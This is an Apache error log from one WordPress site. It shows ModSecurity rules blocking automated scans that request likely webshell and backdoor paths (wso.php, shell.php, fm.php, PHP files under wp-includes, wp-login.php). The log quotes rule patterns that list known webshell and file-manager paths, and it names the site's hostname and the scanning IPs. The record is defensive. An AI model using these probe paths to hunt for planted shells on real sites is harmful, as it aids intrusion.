[Fri Nov 21 15:58:33.644364 2025] [:error] [pid 25429:tid 25457] [client 136.144.42.80:27271] [client 136.144.42.80] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.windfarmcoolants.com.au"] [uri "/wp-includes/fonts/themes.php"] [unique_id "aSAbqT4rZbRSr7vu-NOkWwAAABg"]
[Fri Nov 21 15:58:35.018852 2025] [:error] [pid 46939:tid 46950] [client 172.98.32.78:62061] [client 172.98.32.78] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.windfarmcoolants.com.au"] [uri "/wp-includes/certificates/index.php"] [unique_id "aSAbq-0OmVoxD4VZ_ZlrIAAAAUg"]
[Fri Nov 21 15:58:35.903262 2025] [:error] [pid 25554:tid 25567] [client 136.144.42.74:30625] File does not exist: /usr/local/apache/htdocs/suspended-page/byp.php
[Fri Nov 21 15:58:36.800601 2025] [:error] [pid 25554:tid 25580] [client 136.144.42.74:30625] [client 136.144.42.74] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.windfarmcoolants.com.au"] [uri "/wp-includes/images/media/wp-login.php"] [unique_id "aSAbrB-NtB-9AzFZrk5P9AAAARY"]
[Fri Nov 21 15:58:38.641130 2025] [:error] [pid 25554:tid 25566] [client 136.144.42.70:38277] [client 136.144.42.70] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.windfarmcoolants.com.au"] [uri "/wp-includes/css/about.php"] [unique_id "aSAbrh-NtB-9AzFZrk5QAwAAAQg"]
[Fri Nov 21 15:58:40.448003 2025] [:error] [pid 25431:tid 25487] [client 172.98.32.98:26217] File does not exist: /usr/local/apache/htdocs/suspended-page/class.api.php
[Fri Nov 21 15:58:40.908430 2025] [:error] [pid 25431:tid 25501] [client 172.98.32.98:26217] [client 172.98.32.98] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.windfarmcoolants.com.au"] [uri "/wp-includes/certificates/wp-login.php"] [unique_id "aSAbsMklhXxmoIExII0wfQAAAI4"]
[Fri Nov 21 15:58:42.508483 2025] [:error] [pid 25521:tid 25527] [client 172.98.32.99:65033] File does not exist: /usr/local/apache/htdocs/suspended-page/system_log.php
[Fri Nov 21 15:58:42.941965 2025] [:error] [pid 25521:tid 25526] [client 172.98.32.99:65033] File does not exist: /usr/local/apache/htdocs/suspended-page/.alf.php
[Fri Nov 21 15:58:43.416410 2025] [:error] [pid 25521:tid 25539] [client 172.98.32.99:65033] File does not exist: /usr/local/apache/htdocs/suspended-page/wso.php
[Fri Nov 21 15:58:43.857706 2025] [:error] [pid 25521:tid 25523] [client 172.98.32.99:65033] [client 172.98.32.99] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.windfarmcoolants.com.au"] [uri "/wp-includes/blocks/about.php"] [unique_id "aSAbs_hXnBMilDddn3XkpwAAAMA"]
[Fri Nov 21 15:58:44.763952 2025] [:error] [pid 25429:tid 25445] [client 45.132.227.61:40649] File does not exist: /usr/local/apache/htdocs/suspended-page/flower.php
[Fri Nov 21 15:58:45.214038 2025] [:error] [pid 25429:tid 25442] [client 45.132.227.61:40649] [client 45.132.227.61] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.windfarmcoolants.com.au"] [uri "/wp-includes/wp-class.php"] [unique_id "aSAbtT4rZbRSr7vu-NOlFwAAAAk"]
[Fri Nov 21 15:58:47.083296 2025] [:error] [pid 25431:tid 25509] [client 172.98.32.93:54895] File does not exist: /usr/local/apache/htdocs/suspended-page/ioxi-o.php
[Fri Nov 21 15:58:47.521330 2025] [:error] [pid 25431:tid 25495] [client 172.98.32.93:54895] File does not exist: /usr/local/apache/htdocs/suspended-page/info.php
[Fri Nov 21 15:58:47.951491 2025] [:error] [pid 25431:tid 25498] [client 172.98.32.93:54895] File does not exist: /usr/local/apache/htdocs/suspended-page/setup.php
[Fri Nov 21 15:58:50.238053 2025] [:error] [pid 25431:tid 25509] [client 172.98.32.93:54895] File does not exist: /usr/local/apache/htdocs/suspended-page/as.php
[Fri Nov 21 15:58:50.671630 2025] [:error] [pid 25431:tid 25493] [client 172.98.32.93:54895] File does not exist: /usr/local/apache/htdocs/suspended-page/cc.php
[Fri Nov 21 15:58:51.581206 2025] [:error] [pid 25431:tid 25492] [client 172.98.32.93:54895] File does not exist: /usr/local/apache/htdocs/suspended-page/ab.php
[Fri Nov 21 15:58:53.346453 2025] [:error] [pid 25431:tid 25511] [client 172.98.32.93:54895] File does not exist: /usr/local/apache/htdocs/suspended-page/doc.php
[Fri Nov 21 15:58:53.784494 2025] [:error] [pid 25431:tid 25488] [client 172.98.32.93:54895] [client 172.98.32.93] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.windfarmcoolants.com.au"] [uri "/wp-includes/html-api/chosen.php"] [unique_id "aSAbvcklhXxmoIExII0xIQAAAIE"]
[Fri Nov 21 15:58:54.640818 2025] [:error] [pid 25430:tid 25460] [client 136.144.42.69:34341] [client 136.144.42.69] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.windfarmcoolants.com.au"] [uri "/wp-includes/style-engine/autoload_classmap.php"] [unique_id "aSAbvqpnWJcWt_4foXlBTwAAAEA"]
[Fri Nov 21 15:58:55.577392 2025] [:error] [pid 25429:tid 25449] [client 172.98.32.77:61893] [client 172.98.32.77] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 172.98.32.77, incrementing brute counter"] [hostname "www.windfarmcoolants.com.au"] [uri "/wp-login.php"] [unique_id "aSAbvz4rZbRSr7vu-NOlcwAAABA"]
[Fri Nov 21 15:58:55.581460 2025] [:error] [pid 25429:tid 25449] [client 172.98.32.77:61893] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-login.php
[Fri Nov 21 15:58:56.022939 2025] [:error] [pid 25429:tid 25441] [client 172.98.32.77:61893] File does not exist: /usr/local/apache/htdocs/suspended-page/mar.php
[Fri Nov 21 15:58:56.498027 2025] [:error] [pid 25429:tid 25455] [client 172.98.32.77:61893] [client 172.98.32.77] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.windfarmcoolants.com.au"] [uri "/wp-includes/sitemaps/providers/index.php"] [unique_id "aSAbwD4rZbRSr7vu-NOlegAAABY"]
[Fri Nov 21 15:58:57.827326 2025] [:error] [pid 25554:tid 25581] [client 172.98.32.99:20259] File does not exist: /usr/local/apache/htdocs/suspended-page/1.php
[Fri Nov 21 15:58:58.264403 2025] [:error] [pid 25554:tid 25564] [client 172.98.32.99:20259] [client 172.98.32.99] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.windfarmcoolants.com.au"] [uri "/wp-includes/Text/Diff/Engine/index.php"] [unique_id "aSAbwh-NtB-9AzFZrk5QmgAAAQY"]
[Fri Nov 21 15:58:59.120015 2025] [:error] [pid 25431:tid 25490] [client 45.132.227.65:61947] [client 45.132.227.65] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.windfarmcoolants.com.au"] [uri "/wp-includes/style-engine/index.php"] [unique_id "aSAbw8klhXxmoIExII0xOgAAAIM"]
[Fri Nov 21 15:58:59.946828 2025] [:error] [pid 25521:tid 25543] [client 213.21.239.4:38090] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.svn/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "windfarmcoolants.com.au"] [uri "/.svn/wc.db"] [unique_id "aSAbw_hXnBMilDddn3XlEgAAANQ"]
[Fri Nov 21 15:59:01.763053 2025] [:error] [pid 46939:tid 46944] [client 172.98.32.94:36547] [client 172.98.32.94] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.windfarmcoolants.com.au"] [uri "/wp-includes/Text/Diff/Engine/about.php"] [unique_id "aSAbxe0OmVoxD4VZ_Zlr6gAAAUI"]
[Fri Nov 21 15:59:03.657070 2025] [:error] [pid 25554:tid 25577] [client 136.144.42.70:25777] [client 136.144.42.70] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "www.windfarmcoolants.com.au"] [uri "/fm.php"] [unique_id "aSAbxx-NtB-9AzFZrk5QyAAAARM"]
[Fri Nov 21 15:59:05.925264 2025] [:error] [pid 46939:tid 46960] [client 45.132.227.64:50605] File does not exist: /usr/local/apache/htdocs/suspended-page/ini.php
[Fri Nov 21 15:59:06.821453 2025] [:error] [pid 46939:tid 46943] [client 45.132.227.64:50605] [client 45.132.227.64] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.windfarmcoolants.com.au"] [uri "/wp-includes/blocks/calendar/index.php"] [unique_id "aSAbyu0OmVoxD4VZ_ZlsMgAAAUE"]
[Fri Nov 21 15:59:08.579280 2025] [:error] [pid 25521:tid 25547] [client 45.132.227.56:60509] File does not exist: /usr/local/apache/autossl_tmp/.well-known/acme-challenge/atomlib.php
[Fri Nov 21 15:59:09.456333 2025] [:error] [pid 25521:tid 25523] [client 45.132.227.56:60509] [client 45.132.227.56] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.windfarmcoolants.com.au"] [uri "/wp-includes/function.php"] [unique_id "aSAbzfhXnBMilDddn3XlWgAAAMA"]
[Fri Nov 21 15:59:10.321489 2025] [:error] [pid 25431:tid 25510] [client 136.144.42.72:48957] [client 136.144.42.72] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.windfarmcoolants.com.au"] [uri "/wp-includes/plugins.php"] [unique_id "aSAbzsklhXxmoIExII0xbAAAAJc"]
[Fri Nov 21 15:59:11.708303 2025] [:error] [pid 25554:tid 25558] [client 172.98.32.81:50291] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-content.php
[Fri Nov 21 15:59:12.157949 2025] [:error] [pid 25554:tid 25575] [client 172.98.32.81:50291] [client 172.98.32.81] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.windfarmcoolants.com.au"] [uri "/wp-includes/css/chosen.php"] [unique_id "aSAb0B-NtB-9AzFZrk5Q8gAAARE"]
[Fri Nov 21 15:59:13.023143 2025] [:error] [pid 46939:tid 46963] [client 172.98.32.100:44761] [client 172.98.32.100] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.windfarmcoolants.com.au"] [uri "/wp-includes/Text/Diff/Renderer/about.php"] [unique_id "aSAb0e0OmVoxD4VZ_ZlsdAAAAVU"]
[Fri Nov 21 15:59:14.770458 2025] [:error] [pid 25430:tid 25483] [client 172.98.32.94:38515] File does not exist: /usr/local/apache/htdocs/suspended-page/customize.php
[Fri Nov 21 15:59:15.204210 2025] [:error] [pid 25430:tid 25469] [client 172.98.32.94:38515] File does not exist: /usr/local/apache/htdocs/suspended-page/license.php
[Fri Nov 21 15:59:16.063286 2025] [:error] [pid 25430:tid 25472] [client 172.98.32.94:38515] File does not exist: /usr/local/apache/htdocs/suspended-page/lock.php
[Fri Nov 21 15:59:17.065195 2025] [:error] [pid 25430:tid 25479] [client 172.98.32.94:38515] [client 172.98.32.94] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.windfarmcoolants.com.au"] [uri "/wp-includes/atomlib.php"] [unique_id "aSAb1apnWJcWt_4foXlByQAAAFM"]
[Fri Nov 21 15:59:17.918382 2025] [:error] [pid 46939:tid 46950] [client 45.132.227.61:61471] [client 45.132.227.61] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.windfarmcoolants.com.au"] [uri "/wp-includes/rest-api/index.php"] [unique_id "aSAb1e0OmVoxD4VZ_ZlspQAAAUg"]
[Fri Nov 21 15:59:20.095720 2025] [:error] [pid 46939:tid 46966] [client 172.98.32.95:50875] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-good.php
[Fri Nov 21 15:59:21.581470 2025] [:error] [pid 46939:tid 46966] [client 172.98.32.95:50875] [client 172.98.32.95] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.windfarmcoolants.com.au"] [uri "/wp-includes/index.php"] [unique_id "aSAb2e0OmVoxD4VZ_ZlszwAAAVg"]
[Fri Nov 21 15:59:22.449902 2025] [:error] [pid 25521:tid 25530] [client 136.144.42.77:37839] [client 136.144.42.77] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.windfarmcoolants.com.au"] [uri "/wp-includes/style-engine/wp-conflg.php"] [unique_id "aSAb2vhXnBMilDddn3XlpwAAAMc"]
[Fri Nov 21 15:59:23.363298 2025] [:error] [pid 25554:tid 25567] [client 136.144.42.77:48009] [client 136.144.42.77] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.windfarmcoolants.com.au"] [uri "/wp-includes/assets/autoload_classmap.php"] [unique_id "aSAb2x-NtB-9AzFZrk5RUwAAAQk"]
[Fri Nov 21 15:59:26.081787 2025] [:error] [pid 25521:tid 25531] [client 136.144.42.75:56791] File does not exist: /usr/local/apache/htdocs/suspended-page/ff2.php
[Fri Nov 21 15:59:26.517634 2025] [:error] [pid 25521:tid 25542] [client 136.144.42.75:56791] [client 136.144.42.75] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.windfarmcoolants.com.au"] [uri "/wp-includes/SimplePie/Exception-wp.php"] [unique_id "aSAb3vhXnBMilDddn3XlwgAAANM"]
[Fri Nov 21 15:59:27.825831 2025] [:error] [pid 25431:tid 25497] [client 136.144.42.69:44867] [client 136.144.42.69] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.windfarmcoolants.com.au"] [uri "/wp-includes/rest-api/autoload_classmap.php"] [unique_id "aSAb38klhXxmoIExII0xzwAAAIo"]
[Fri Nov 21 15:59:28.683835 2025] [:error] [pid 25554:tid 25574] [client 172.98.32.83:24941] File does not exist: /usr/local/apache/htdocs/suspended-page/jp.php
[Fri Nov 21 15:59:29.121175 2025] [:error] [pid 25554:tid 25558] [client 172.98.32.83:24941] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-atom.php
[Fri Nov 21 15:59:30.008815 2025] [:error] [pid 25554:tid 25571] [client 172.98.32.83:24941] File does not exist: /usr/local/apache/htdocs/suspended-page/up.php
[Fri Nov 21 15:59:31.819668 2025] [:error] [pid 25554:tid 25571] [client 172.98.32.83:24941] [client 172.98.32.83] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 172.98.32.83, incrementing brute counter"] [hostname "www.windfarmcoolants.com.au"] [uri "/js/wp-login.php"] [unique_id "aSAb4x-NtB-9AzFZrk5RogAAAQ0"]
[Fri Nov 21 15:59:32.719638 2025] [:error] [pid 25554:tid 25558] [client 172.98.32.83:24941] File does not exist: /usr/local/apache/htdocs/suspended-page/worm.PhP
[Fri Nov 21 15:59:33.149687 2025] [:error] [pid 25554:tid 25568] [client 172.98.32.83:24941] File does not exist: /usr/local/apache/htdocs/suspended-page/ext.php
[Fri Nov 21 15:59:33.592615 2025] [:error] [pid 25554:tid 25571] [client 172.98.32.83:24941] File does not exist: /usr/local/apache/htdocs/suspended-page/delpaths.php
[Fri Nov 21 15:59:34.534723 2025] [:error] [pid 25554:tid 25576] [client 172.98.32.83:24941] [client 172.98.32.83] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.windfarmcoolants.com.au"] [uri "/wp-includes/bk/index.php"] [unique_id "aSAb5h-NtB-9AzFZrk5RwgAAARI"]
[Fri Nov 21 15:59:35.446788 2025] [:error] [pid 25521:tid 25539] [client 172.98.32.83:59003] [client 172.98.32.83] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 172.98.32.83, incrementing brute counter"] [hostname "www.windfarmcoolants.com.au"] [uri "/wp-content/plugins/wp-login.php"] [unique_id "aSAb5_hXnBMilDddn3XmCQAAANA"]
[Fri Nov 21 15:59:36.802157 2025] [:error] [pid 25521:tid 25529] [client 172.98.32.83:59003] File does not exist: /usr/local/apache/htdocs/suspended-page/gifclass.php
[Fri Nov 21 15:59:37.244921 2025] [:error] [pid 25521:tid 25534] [client 172.98.32.83:59003] File does not exist: /usr/local/apache/htdocs/suspended-page/plugin.php
[Fri Nov 21 15:59:38.151949 2025] [:error] [pid 25521:tid 25544] [client 172.98.32.83:59003] File does not exist: /usr/local/apache/htdocs/suspended-page/update-core.php
[Fri Nov 21 15:59:39.090893 2025] [:error] [pid 25521:tid 25529] [client 172.98.32.83:59003] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-mail.php
[Fri Nov 21 15:59:40.498427 2025] [:error] [pid 25521:tid 25541] [client 172.98.32.83:59003] File does not exist: /usr/local/apache/autossl_tmp/.well-known/acme-challenge/content.php
[Fri Nov 21 15:59:43.608957 2025] [:error] [pid 25521:tid 25543] [client 172.98.32.83:59003] File does not exist: /usr/local/apache/htdocs/suspended-page/aa.php
[Fri Nov 21 15:59:44.057061 2025] [:error] [pid 25521:tid 25537] [client 172.98.32.83:59003] File does not exist: /usr/local/apache/htdocs/suspended-page/index2.php
[Fri Nov 21 15:59:46.272525 2025] [:error] [pid 25521:tid 25531] [client 172.98.32.83:59003] File does not exist: /usr/local/apache/htdocs/suspended-page/shell.php
[Fri Nov 21 15:59:47.162178 2025] [:error] [pid 25521:tid 25526] [client 172.98.32.83:59003] [client 172.98.32.83] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.windfarmcoolants.com.au"] [uri "/wp-includes/Text/about.php"] [unique_id "aSAb8_hXnBMilDddn3XmcwAAAMM"]
[Fri Nov 21 15:59:48.937282 2025] [:error] [pid 25521:tid 25524] [client 136.144.42.78:62269] File does not exist: /usr/local/apache/htdocs/suspended-page/hehe.php
[Fri Nov 21 15:59:49.413309 2025] [:error] [pid 25521:tid 25526] [client 136.144.42.78:62269] [client 136.144.42.78] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.windfarmcoolants.com.au"] [uri "/wp-includes/fonts/autoload_classmap.php"] [unique_id "aSAb9fhXnBMilDddn3XmgwAAAMM"]
[Fri Nov 21 15:59:50.854727 2025] [:error] [pid 25554:tid 25582] [client 172.98.32.84:24747] File does not exist: /usr/local/apache/htdocs/suspended-page/dir.php
[Fri Nov 21 15:59:51.294518 2025] [:error] [pid 25554:tid 25560] [client 172.98.32.84:24747] [client 172.98.32.84] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.windfarmcoolants.com.au"] [uri "/wp-includes/css/atomlib.php"] [unique_id "aSAb9x-NtB-9AzFZrk5SLgAAAQI"]
[Fri Nov 21 15:59:53.066539 2025] [:error] [pid 46939:tid 46954] [client 45.132.227.66:63663] File does not exist: /usr/local/apache/htdocs/suspended-page/nf_tracking.php
[Fri Nov 21 15:59:53.948295 2025] [:error] [pid 46939:tid 46945] [client 45.132.227.66:63663] File does not exist: /usr/local/apache/htdocs/suspended-page/filefuns.php
[Fri Nov 21 15:59:54.808786 2025] [:error] [pid 46939:tid 46953] [client 45.132.227.66:63663] File does not exist: /usr/local/apache/htdocs/suspended-page/l.php
[Fri Nov 21 15:59:55.239404 2025] [:error] [pid 46939:tid 46965] [client 45.132.227.66:63663] File does not exist: /usr/local/apache/htdocs/suspended-page/repeater.php
[Fri Nov 21 15:59:56.095994 2025] [:error] [pid 46939:tid 46956] [client 45.132.227.66:63663] [client 45.132.227.66] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.windfarmcoolants.com.au"] [uri "/wp-includes/sitemaps/autoload_classmap.php"] [unique_id "aSAb_O0OmVoxD4VZ_ZluLQAAAU4"]
[Fri Nov 21 15:59:56.991215 2025] [:error] [pid 46939:tid 46960] [client 172.98.32.94:50595] File does not exist: /usr/local/apache/htdocs/suspended-page/contacts.php
[Fri Nov 21 15:59:57.472818 2025] [:error] [pid 46939:tid 46959] [client 172.98.32.94:50595] File does not exist: /usr/local/apache/htdocs/suspended-page/wsa.php
[Fri Nov 21 15:59:57.916778 2025] [:error] [pid 46939:tid 46954] [client 172.98.32.94:50595] [client 172.98.32.94] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.windfarmcoolants.com.au"] [uri "/wp-includes/SimplePie/about.php"] [unique_id "aSAb_e0OmVoxD4VZ_ZluOgAAAUw"]
[Fri Nov 21 16:00:00.523772 2025] [:error] [pid 46939:tid 46947] [client 136.144.42.75:51529] [client 136.144.42.75] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.windfarmcoolants.com.au"] [uri "/wp-includes/sodium_compat/index.php"] [unique_id "aSAcAO0OmVoxD4VZ_ZluTAAAAUU"]
[Fri Nov 21 16:00:03.918235 2025] [:error] [pid 25521:tid 25541] [client 136.144.42.79:52133] File does not exist: /usr/local/apache/htdocs/suspended-page/lv.php
[Fri Nov 21 16:00:05.274286 2025] [:error] [pid 25521:tid 25533] [client 136.144.42.79:52133] File does not exist: /usr/local/apache/autossl_tmp/.well-known/acme-challenge/file.php
